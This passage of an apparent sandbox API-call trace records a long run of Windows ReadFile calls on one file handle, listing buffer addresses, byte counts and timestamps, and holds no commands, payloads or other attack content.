nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299dc7*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.415] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299dc8, nNumberOfBytesToRead=0x238, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299dc8*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.416] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299dd4, nNumberOfBytesToRead=0x22c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299dd4*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.417] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299dd6, nNumberOfBytesToRead=0x22a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299dd6*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.420] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299def, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299def*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.422] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299df0, nNumberOfBytesToRead=0x210, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299df0*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.427] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299df8, nNumberOfBytesToRead=0x208, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299df8*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.428] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299df9, nNumberOfBytesToRead=0x207, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299df9*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.430] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a09, nNumberOfBytesToRead=0x5f7, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a09*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.431] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a0a, nNumberOfBytesToRead=0x5f6, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a0a*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.432] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a15, nNumberOfBytesToRead=0x5eb, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a15*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.434] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a16, nNumberOfBytesToRead=0x5ea, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a16*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.435] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a22, nNumberOfBytesToRead=0x5de, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a22*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.453] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a24, nNumberOfBytesToRead=0x5dc, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a24*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.461] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a3d, nNumberOfBytesToRead=0x5c3, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a3d*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.463] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a3e, nNumberOfBytesToRead=0x5c2, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a3e*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.464] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a46, nNumberOfBytesToRead=0x5ba, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a46*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.465] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a47, nNumberOfBytesToRead=0x5b9, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a47*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.466] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a57, nNumberOfBytesToRead=0x5a9, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a57*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.468] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a58, nNumberOfBytesToRead=0x5a8, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a58*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.478] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a63, nNumberOfBytesToRead=0x59d, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a63*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.479] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a64, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a64*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.480] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a70, nNumberOfBytesToRead=0x590, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a70*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.482] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a72, nNumberOfBytesToRead=0x58e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a72*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.483] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a8b, nNumberOfBytesToRead=0x575, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a8b*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.489] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a8c, nNumberOfBytesToRead=0x574, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a8c*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.490] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a94, nNumberOfBytesToRead=0x56c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a94*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.491] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737a95, nNumberOfBytesToRead=0x56b, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737a95*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.492] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737aa5, nNumberOfBytesToRead=0x55b, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737aa5*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.494] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737aa6, nNumberOfBytesToRead=0x55a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737aa6*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.495] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ab1, nNumberOfBytesToRead=0x54f, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ab1*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.496] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ab2, nNumberOfBytesToRead=0x54e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ab2*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.498] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737abe, nNumberOfBytesToRead=0x542, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737abe*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.499] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ac0, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ac0*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.506] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ad9, nNumberOfBytesToRead=0x527, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ad9*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.508] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ada, nNumberOfBytesToRead=0x526, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ada*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.509] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ae2, nNumberOfBytesToRead=0x51e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ae2*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.510] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ae3, nNumberOfBytesToRead=0x51d, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ae3*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.511] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737af3, nNumberOfBytesToRead=0x50d, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737af3*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.512] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737af4, nNumberOfBytesToRead=0x50c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737af4*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.514] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737aff, nNumberOfBytesToRead=0x501, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737aff*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.515] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b00, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b00*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.521] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b0c, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b0c*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.523] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b0e, nNumberOfBytesToRead=0x4f2, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b0e*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.524] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b27, nNumberOfBytesToRead=0x4d9, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b27*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.525] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b28, nNumberOfBytesToRead=0x4d8, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b28*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.526] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b30, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b30*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.527] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b31, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b31*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.528] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b41, nNumberOfBytesToRead=0x4bf, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b41*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.529] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b42, nNumberOfBytesToRead=0x4be, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b42*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.530] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b4d, nNumberOfBytesToRead=0x4b3, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b4d*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.537] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b4e, nNumberOfBytesToRead=0x4b2, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b4e*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.538] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b5a, nNumberOfBytesToRead=0x4a6, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b5a*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.539] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b5c, nNumberOfBytesToRead=0x4a4, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b5c*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.540] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b75, nNumberOfBytesToRead=0x48b, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b75*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.542] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b76, nNumberOfBytesToRead=0x48a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b76*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.543] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b7e, nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b7e*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.545] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b7f, nNumberOfBytesToRead=0x481, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b7f*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.546] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b8f, nNumberOfBytesToRead=0x471, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b8f*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.551] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b90, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b90*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.552] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b9b, nNumberOfBytesToRead=0x465, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b9b*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.553] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737b9c, nNumberOfBytesToRead=0x464, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737b9c*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.554] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737ba8, nNumberOfBytesToRead=0x458, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737ba8*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.560] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737baa, nNumberOfBytesToRead=0x456, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737baa*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.571] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737bc3, nNumberOfBytesToRead=0x43d, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737bc3*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.572] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737bc4, nNumberOfBytesToRead=0x43c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737bc4*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.573] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737bcc, nNumberOfBytesToRead=0x434, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737bcc*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.574] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737bcd, nNumberOfBytesToRead=0x433, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737bcd*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.575] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737bdd, nNumberOfBytesToRead=0x423, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737bdd*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.576] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737bde, nNumberOfBytesToRead=0x422, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737bde*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.577] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737be9, nNumberOfBytesToRead=0x417, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737be9*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.581] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737bea, nNumberOfBytesToRead=0x416, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737bea*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.582] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737bf6, nNumberOfBytesToRead=0x40a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737bf6*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.583] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737bf8, nNumberOfBytesToRead=0x408, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737bf8*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.584] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c11, nNumberOfBytesToRead=0x3ef, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c11*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.585] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c12, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c12*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.586] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c1a, nNumberOfBytesToRead=0x3e6, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c1a*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.587] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c1b, nNumberOfBytesToRead=0x3e5, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c1b*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.588] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c2b, nNumberOfBytesToRead=0x3d5, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c2b*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.589] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c2c, nNumberOfBytesToRead=0x3d4, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c2c*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.590] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c37, nNumberOfBytesToRead=0x3c9, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c37*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.591] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c38, nNumberOfBytesToRead=0x3c8, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c38*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.592] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c44, nNumberOfBytesToRead=0x3bc, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c44*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.598] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c46, nNumberOfBytesToRead=0x3ba, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c46*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.599] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c5f, nNumberOfBytesToRead=0x3a1, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c5f*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.600] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c60, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c60*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.601] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c68, nNumberOfBytesToRead=0x398, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c68*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.602] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c69, nNumberOfBytesToRead=0x397, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c69*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.603] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c79, nNumberOfBytesToRead=0x387, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c79*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.604] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c7a, nNumberOfBytesToRead=0x386, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c7a*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.605] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c85, nNumberOfBytesToRead=0x37b, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c85*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.606] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c86, nNumberOfBytesToRead=0x37a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c86*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.607] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c92, nNumberOfBytesToRead=0x36e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c92*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.608] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737c94, nNumberOfBytesToRead=0x36c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737c94*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.615] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737cad, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cad*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.620] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737cae, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cae*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.622] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000737cb6, nNumberOfBytesToRead=0x34a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000737cb6*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.624] ReadFile (in: 